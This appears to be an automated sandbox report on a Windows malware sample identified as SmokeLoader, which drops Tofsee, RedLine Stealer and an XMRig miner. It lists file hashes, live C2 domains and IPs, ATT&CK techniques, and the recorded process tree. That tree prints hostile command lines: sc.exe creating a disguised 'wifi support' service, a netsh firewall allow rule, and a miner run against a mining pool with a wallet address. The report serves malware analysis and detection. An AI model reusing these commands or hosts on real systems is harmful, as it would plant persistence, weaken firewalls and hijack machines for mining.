Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    06-11-2021 20:35

General

  • Target

    786c8ca249c33915331d1cddf270b433.exe

  • Size

    200KB

  • MD5

    786c8ca249c33915331d1cddf270b433

  • SHA1

    57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

  • SHA256

    fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

  • SHA512

    f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://hefahei60.top/

http://pipevai40.top/

rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

Botnet

new

C2

93.115.20.139:28978

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\786c8ca249c33915331d1cddf270b433.exe
    "C:\Users\Admin\AppData\Local\Temp\786c8ca249c33915331d1cddf270b433.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Users\Admin\AppData\Local\Temp\786c8ca249c33915331d1cddf270b433.exe
      "C:\Users\Admin\AppData\Local\Temp\786c8ca249c33915331d1cddf270b433.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:700
  • C:\Users\Admin\AppData\Local\Temp\AB7B.exe
    C:\Users\Admin\AppData\Local\Temp\AB7B.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:976
    • C:\Users\Admin\AppData\Local\Temp\AB7B.exe
      C:\Users\Admin\AppData\Local\Temp\AB7B.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:968
  • C:\Users\Admin\AppData\Local\Temp\C65C.exe
    C:\Users\Admin\AppData\Local\Temp\C65C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mzwuskec\
      2⤵
        PID:1536
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tgpmnser.exe" C:\Windows\SysWOW64\mzwuskec\
        2⤵
          PID:816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mzwuskec binPath= "C:\Windows\SysWOW64\mzwuskec\tgpmnser.exe /d\"C:\Users\Admin\AppData\Local\Temp\C65C.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2008
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mzwuskec "wifi internet conection"
            2⤵
              PID:1376
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mzwuskec
              2⤵
                PID:1896
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:916
              • C:\Users\Admin\AppData\Local\Temp\E5CF.exe
                C:\Users\Admin\AppData\Local\Temp\E5CF.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2004
              • C:\Windows\SysWOW64\mzwuskec\tgpmnser.exe
                C:\Windows\SysWOW64\mzwuskec\tgpmnser.exe /d"C:\Users\Admin\AppData\Local\Temp\C65C.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:908
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1600
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:840
              • C:\Users\Admin\AppData\Local\Temp\FB91.exe
                C:\Users\Admin\AppData\Local\Temp\FB91.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:988

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              2
              T1082

              Query Registry

              1
              T1012

              Peripheral Device Discovery

              1
              T1120

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\AB7B.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • C:\Users\Admin\AppData\Local\Temp\AB7B.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • C:\Users\Admin\AppData\Local\Temp\AB7B.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • C:\Users\Admin\AppData\Local\Temp\C65C.exe
                MD5

                48db79b89beb4b17fabcbb7d8704873a

                SHA1

                fd47d711e03b703937341a5ede33810601900963

                SHA256

                d8a4de298fd1ec4e0b885949fa5d0375ca800281956875179a14e40d1c245278

                SHA512

                2f76d3db69d906cfc4a154075ff92a4859c663dc8b24eac995d5822c4712744b0eb1092a3b0e3362687d999a4651c891460705aaa5bc2b2526afdda47bf7965b

              • C:\Users\Admin\AppData\Local\Temp\C65C.exe
                MD5

                48db79b89beb4b17fabcbb7d8704873a

                SHA1

                fd47d711e03b703937341a5ede33810601900963

                SHA256

                d8a4de298fd1ec4e0b885949fa5d0375ca800281956875179a14e40d1c245278

                SHA512

                2f76d3db69d906cfc4a154075ff92a4859c663dc8b24eac995d5822c4712744b0eb1092a3b0e3362687d999a4651c891460705aaa5bc2b2526afdda47bf7965b

              • C:\Users\Admin\AppData\Local\Temp\E5CF.exe
                MD5

                004f56332aac2e8fca2e4f77691d6167

                SHA1

                f199337bcc743fe8c2b604e97e9e67e418125a9b

                SHA256

                9ab80fd9ceb29028bdb57a30f8275c8385a6657aef9576b2d73d738229e3f83e

                SHA512

                8d79115115a586e36ee9d441b95374151612829e9d0b2dfe43b2f53c064f574e4dc08fb3120d984c11fd65872ed18b470a72cdd71ffd557f31510674c27820e6

              • C:\Users\Admin\AppData\Local\Temp\E5CF.exe
                MD5

                004f56332aac2e8fca2e4f77691d6167

                SHA1

                f199337bcc743fe8c2b604e97e9e67e418125a9b

                SHA256

                9ab80fd9ceb29028bdb57a30f8275c8385a6657aef9576b2d73d738229e3f83e

                SHA512

                8d79115115a586e36ee9d441b95374151612829e9d0b2dfe43b2f53c064f574e4dc08fb3120d984c11fd65872ed18b470a72cdd71ffd557f31510674c27820e6

              • C:\Users\Admin\AppData\Local\Temp\FB91.exe
                MD5

                36a3976a7678715fffe2300f0ae8a21a

                SHA1

                d941d30a3a600d9f2bdb4b8fed77addd7f15806d

                SHA256

                27098e89b511cd37b5aad597d2e3875d5f6ca232b6bc057cef67adc24243d33e

                SHA512

                7447d26f2bfca5084a4652745a6aadfb90a9068198f00f411a6eb48be12473fde8a458814eb43328c7964f0dad685eea0012be37144c9c2a2dc5613326fc446c

              • C:\Users\Admin\AppData\Local\Temp\tgpmnser.exe
                MD5

                6bbef49f0b895ea97e300e64ddb2acff

                SHA1

                7ca0563b248129d7c5119f9670bee604fac4aa35

                SHA256

                2eae08ca17fc8f9a5006fe114ee58247e410f20aa0f9dea6f866949c40981418

                SHA512

                56dfe9cb77b58bc69cc27166e712c984a9a7a762e9b375092b716994373a201f4067c740d4dad99a60dc436b3451ecb4a7e0c3d4fd6b19a67049a513bfb2cc55

              • C:\Windows\SysWOW64\mzwuskec\tgpmnser.exe
                MD5

                6bbef49f0b895ea97e300e64ddb2acff

                SHA1

                7ca0563b248129d7c5119f9670bee604fac4aa35

                SHA256

                2eae08ca17fc8f9a5006fe114ee58247e410f20aa0f9dea6f866949c40981418

                SHA512

                56dfe9cb77b58bc69cc27166e712c984a9a7a762e9b375092b716994373a201f4067c740d4dad99a60dc436b3451ecb4a7e0c3d4fd6b19a67049a513bfb2cc55

              • \Users\Admin\AppData\Local\Temp\1105.tmp
                MD5

                d124f55b9393c976963407dff51ffa79

                SHA1

                2c7bbedd79791bfb866898c85b504186db610b5d

                SHA256

                ea1e16247c848c8c171c4cd1fa17bc5a018a1fcb0c0dac25009066b6667b8eef

                SHA512

                278fe3a4b1fbbe700e4f4483b610133e975e36e101455661d5197bd892a68839b9d555499040d200c92aefa9e3819380e395c0cd85d5fc845c6364d128a8cf06

              • \Users\Admin\AppData\Local\Temp\AB7B.exe
                MD5

                786c8ca249c33915331d1cddf270b433

                SHA1

                57ecd1b15e0fe0e6d1e90ad6390494094f03ca88

                SHA256

                fd903bd62af05814bc02cf44bfc3228bbd38244b2d02a4006398f7287f94b1c6

                SHA512

                f9e867eeeaae7733b9d6fbf2723062d69e23befbe46b05ad59a2c706c812019acff0f9e7a707cc64cceae55466a541e104821a2e40dd464407ffac4ea80e184d

              • memory/700-56-0x0000000000402EFA-mapping.dmp
              • memory/700-57-0x0000000076241000-0x0000000076243000-memory.dmp
                Filesize

                8KB

              • memory/700-55-0x0000000000400000-0x0000000000409000-memory.dmp
                Filesize

                36KB

              • memory/816-78-0x0000000000000000-mapping.dmp
              • memory/840-108-0x0000000000200000-0x00000000002F1000-memory.dmp
                Filesize

                964KB

              • memory/840-107-0x0000000000200000-0x00000000002F1000-memory.dmp
                Filesize

                964KB

              • memory/840-112-0x000000000029259C-mapping.dmp
              • memory/908-95-0x0000000000400000-0x0000000000441000-memory.dmp
                Filesize

                260KB

              • memory/916-87-0x0000000000000000-mapping.dmp
              • memory/968-66-0x0000000000402EFA-mapping.dmp
              • memory/976-61-0x0000000000000000-mapping.dmp
              • memory/988-101-0x00000000009BD000-0x00000000009CD000-memory.dmp
                Filesize

                64KB

              • memory/988-99-0x0000000000000000-mapping.dmp
              • memory/988-105-0x0000000000220000-0x0000000000229000-memory.dmp
                Filesize

                36KB

              • memory/988-106-0x0000000000400000-0x00000000008F9000-memory.dmp
                Filesize

                5.0MB

              • memory/1376-81-0x0000000000000000-mapping.dmp
              • memory/1412-71-0x0000000002AD0000-0x0000000002AE6000-memory.dmp
                Filesize

                88KB

              • memory/1412-60-0x0000000002770000-0x0000000002786000-memory.dmp
                Filesize

                88KB

              • memory/1536-77-0x0000000000000000-mapping.dmp
              • memory/1600-89-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

              • memory/1600-91-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

              • memory/1600-92-0x0000000000089A6B-mapping.dmp
              • memory/1632-58-0x0000000000220000-0x0000000000228000-memory.dmp
                Filesize

                32KB

              • memory/1632-59-0x0000000000230000-0x0000000000239000-memory.dmp
                Filesize

                36KB

              • memory/1860-76-0x0000000000400000-0x0000000000441000-memory.dmp
                Filesize

                260KB

              • memory/1860-69-0x0000000000000000-mapping.dmp
              • memory/1860-73-0x0000000000220000-0x000000000022D000-memory.dmp
                Filesize

                52KB

              • memory/1860-74-0x0000000000230000-0x0000000000243000-memory.dmp
                Filesize

                76KB

              • memory/1896-82-0x0000000000000000-mapping.dmp
              • memory/2004-102-0x0000000000A80000-0x0000000000A9B000-memory.dmp
                Filesize

                108KB

              • memory/2004-83-0x0000000000000000-mapping.dmp
              • memory/2004-98-0x000000001AEB0000-0x000000001AEB2000-memory.dmp
                Filesize

                8KB

              • memory/2004-97-0x00000000004E0000-0x00000000004E1000-memory.dmp
                Filesize

                4KB

              • memory/2004-90-0x0000000000AA0000-0x0000000000AA1000-memory.dmp
                Filesize

                4KB

              • memory/2008-80-0x0000000000000000-mapping.dmp